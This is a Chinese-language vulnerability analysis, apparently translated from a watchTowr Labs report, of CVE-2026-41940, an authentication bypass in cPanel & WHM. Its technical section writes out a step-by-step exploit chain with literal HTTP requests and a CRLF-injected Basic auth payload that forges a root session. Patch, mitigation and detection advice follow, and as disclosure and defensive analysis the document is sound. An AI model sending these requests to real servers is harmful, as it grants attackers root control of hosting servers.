cPanel/WHM 认证绕过漏洞 CVE-2026-41940 深度分析

导语:安全研究团队 watchTowr Labs 披露了 cPanel & WHM 的严重认证绕过漏洞(CVE-2026-41940),该漏洞影响所有受支持版本,已被检测到在野外活跃利用。攻击者可通过精心构造的 HTTP 请求注入会话文件,最终实现 root 权限访问。本文深度解析漏洞原理与利用链。

cPanel/WHM 漏洞示意图

图:cPanel/WHM 架构与攻击面


一、漏洞概述

1.1 漏洞背景

cPanel & WHM 是全球最流行的共享主机管理面板,据估计管理着超过 7000 万个域名。WHM(Web Host Manager)是管理员界面,提供 root 级服务器访问权限;cPanel 是用户端控制面板。两者合体,堪称”互联网的钥匙”。

CVE-2026-41940 是一个影响所有受支持版本的认证绕过漏洞。cPanel 官方已发布补丁版本:

  • cPanel & WHM 110.0.x → 11.110.0.97(原 11.110.0.96)
  • cPanel & WHM 118.0.x → 11.118.0.63(原 11.118.0.61)
  • cPanel & WHM 126.0.x → 11.126.0.54(原 11.126.0.53)
  • cPanel & WHM 132.0.x → 11.132.0.29(原 11.132.0.27)
  • cPanel & WHM 134.0.x → 11.134.0.20(原 11.134.0.19)
  • cPanel & WHM 136.0.x → 11.136.0.5(原 11.136.0.4)

已知主机托管商 KnownHost 已确认该漏洞正在野外被利用,作为零日攻击针对互联网很大一部分的管理平面。

漏洞野外利用确认(截图来源:watchTowr Labs)

图:KnownHost 确认野外利用


二、技术细节分析

2.1 会话文件结构

cPanel 使用基于文件的会话管理。会话文件位于:

  • 原始文件:/var/cpanel/sessions/raw/<session_id>
  • 缓存文件:/var/cpanel/sessions/cache/<session_id>(JSON 格式)

会话文件采用 key=value 格式存储。例如,一次失败的登录会创建如下会话:

local_ip_address=172.17.0.2
external_validation_token=bOOwkwVzFsruooU0
cp_security_token=/cpsess7833455106
needs_auth=1
origin_as_string=address=172.17.0.1,app=whostmgrd,method=badpass
hulk_registered=0
tfa_verified=0
ip_address=172.17.0.1
local_port=2087
port=49254
login_theme=cpanel

Cookie 中的会话 ID 格式为 :Wg_mjzgt1hyfXefK,1bd3d4bf5ecbf83b660789ab0f3198fa,其中逗号后的 32 位十六进制字符串是 段——每会话密钥,用于对称加密 pass 字段。

ob 段在代码中的位置

图: 段参与加密流程

2.2 漏洞原理

漏洞由两个关键问题组合而成:

问题一:CRLF 注入未过滤

saveSession 函数中,如果 段缺失(Cookie 中无逗号或逗号后为空),编码器不会触发,pass 字段保持明文写入磁盘: 图: 段参与加密流程

if ( defined $ob && length $ob ) {
    my $encoder = Cpanel::Session::Encoder->new( 'secret' => $ob );
    $session_ref->{'pass'} = $encoder->encode_data( $session_ref->{'pass'} );
}
else {
    $session_ref->{'pass'} = 'no-ob:' . Cpanel::Session::Encoder->hex_encode_only( $session_ref->{'pass'} );
}
代码修改细节提示

图:代码修改细节提示

同时,pass 值来自 HTTP Basic 认证头,set_pass 函数仅 stripping NUL 字节,rn 被保留

Session.pm 代码修改对比

图:saveSession 函数补丁前后对比(来源:watchTowr Labs)

问题二:缓存优先读取

loadSession 优先读取 JSON 缓存文件,而非原始文本文件。即使我们在原始文件中注入了额外记录,缓存中的 pass 仍是包含 rn 的单一字符串,不会解析为顶层键。

2.3 利用链完整步骤

步骤 1:创建预认证会话

发送错误登录请求,获取有效会话文件:

POST /login/?login_only=1 HTTP/1.1
Host: target:2087
Content-Type: application/x-www-form-urlencoded
Content-Length: 20

user=root&pass=wrong

响应会返回 Cookie,如:

Set-Cookie: whostmgrsession=%3aQSJN_sFdKZtCi2o_%2c4d257abc371539dfebdf7d3a3e64de0b

解码后::QSJN_sFdKZtCi2o_,4d257abc371539dfebdf7d3a3e64de0b

步骤 2:注入恶意记录

构造 Basic 认证头,密码部分包含 CRLF 注入:

xrn
hasroot=1rn
tfa_verified=1rn
user=rootrn
cp_security_token=/cpsess9999999999rn
successful_internal_auth_with_timestamp=1777462149

Base64 编码后发送请求,关键点:Cookie 只保留基础名称(去掉 , 部分):

GET / HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=%3aQSJN_sFdKZtCi2o_
Authorization: Basic <base64编码的root:payload>

此时原始会话文件内容变为:

pass=x
hasroot=1    <-- 注入
tfa_verified=1    <-- 注入
user=root    <-- 注入
cp_security_token=/cpsess9999999999    <-- 注入
successful_internal_auth_with_timestamp=1777462149    <-- 注入

步骤 3:提升注入到缓存

仅修改原始文件不够,因为加载器读缓存。需要触发 Cpanel::Session::Modifynew + save 流程,该流程使用 nocache => 1 参数直接读取原始文件,然后写回时会更新 JSON 缓存。

触发方式:访问需要 cp_security_token 但未提供的 URL,触发 do_token_denied

GET /scripts2/listaccts HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=%3aQSJN_sFdKZtCi2o_

响应:401 Token Denied

此时缓存 JSON 已更新,注入的键成为顶层记录:

{
  "tfa_verified": "1",
  "user": "root",
  "hasroot": "1",
  "successful_internal_auth_with_timestamp": "1777462149",
  ...
}

步骤 4:绕过密码验证

docheckpass_whostmgrd 在每次请求时会检查 successful_internal_auth_with_timestamp 时间戳。如果该字段存在,完全跳过密码验证,直接返回 AUTH_OK

sub check_authok_user {
    if ($AUTHOPTS{'authable_user'}{'successful_external_auth_with_timestamp'}
        or $AUTHOPTS{'authable_user'}{'successful_internal_auth_with_timestamp'}) {
        return $Cpanel::Server::AUTH_OK, 0;  # 不查询 /etc/shadow
    }
}

步骤 5:验证权限

访问任意需要认证的端点:

GET /json-api/version HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=%3aQSJN_sFdKZtCi2o_

此时应返回 200 OK 而非 403 Forbidden,表明已获得 root 级会话。


三、漏洞影响评估

3.1 受影响范围

  • 所有受支持的 cPanel & WHM 版本(详见上文列表)
  • 全球约 7000 万+ 域名受影响
  • 攻击者可获得服务器 root 权限
  • 漏洞已在野外被利用(KnownHost 确认)

图:KnownHost 确认野外利用

3.2 攻击前提

  • 目标运行易受攻击版本的 cPanel/WHM
  • 攻击者能够发起 HTTP 请求(通常需网络可达)
  • 无需有效凭证

3.3 危害等级

  • CVSS 评分:待 cPanel 官方评估(预计 9.0+)
  • 利用复杂度:低(仅需构造 HTTP 请求)
  • 攻击向量:网络
  • 权限提升:完全 root 访问

四、修复与缓解措施

4.1 立即升级

首要措施:立即升级到官方补丁版本(见 1.1 节列表)。升级前请:

  1. 完整备份所有数据和配置
  2. 在测试环境验证升级流程
  3. 安排在维护窗口执行

4.2 临时缓解方案

若无法立即升级,可考虑:

网络层防护

  • 限制 2087/2086 端口访问(仅允许可信 IP)
  • 启用防火墙规则,阻止异常 Basic Auth 请求
  • 部署 WAF 规则检测 CRLF 注入模式

监控检测

  • 监控 /var/cpanel/sessions/raw//var/cpanel/sessions/cache/ 中会话文件的异常修改
  • 关注未授权访问日志
  • 检测 successful_internal_auth_with_timestamp 字段的出现

检测脚本:watchTowr Labs 已发布 Detection Artifact Generator,可用于扫描易受感染主机。

4.3 验证修复状态

  1. 检查当前版本:/usr/local/cpanel/cpanel -V
  2. 确认会话文件权限:ls -la /var/cpanel/sessions/
  3. 审查日志:grep -i "auth" /var/log/secure/var/log/messages

五、漏洞时间线

  • 2026-03-27:漏洞首次被披露
  • 2026-03-31:补丁版本发布(披露后 4 天)
  • 2026-04 起:KnownHost 等托管商检测到野外利用
  • 2026-05-01:watchTowr Labs 发布完整技术分析

六、防御建议总结

  • 立即行动:升级到最新补丁版本
  • 网络隔离:限制管理接口访问来源
  • 监控告警:部署检测规则,关注异常会话活动
  • 最小权限:确保 cPanel 账户遵循最小权限原则
  • 定期审计:定期检查系统日志和会话目录

七、参考资源

图:KnownHost 确认野外利用


本文基于 watchTowr Labs 公开发布的研究报告翻译整理,仅供网络安全研究与防御使用。未经授权,请勿用于非法攻击。

© 版权声明
THE END
喜欢就支持一下吧
点赞9 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容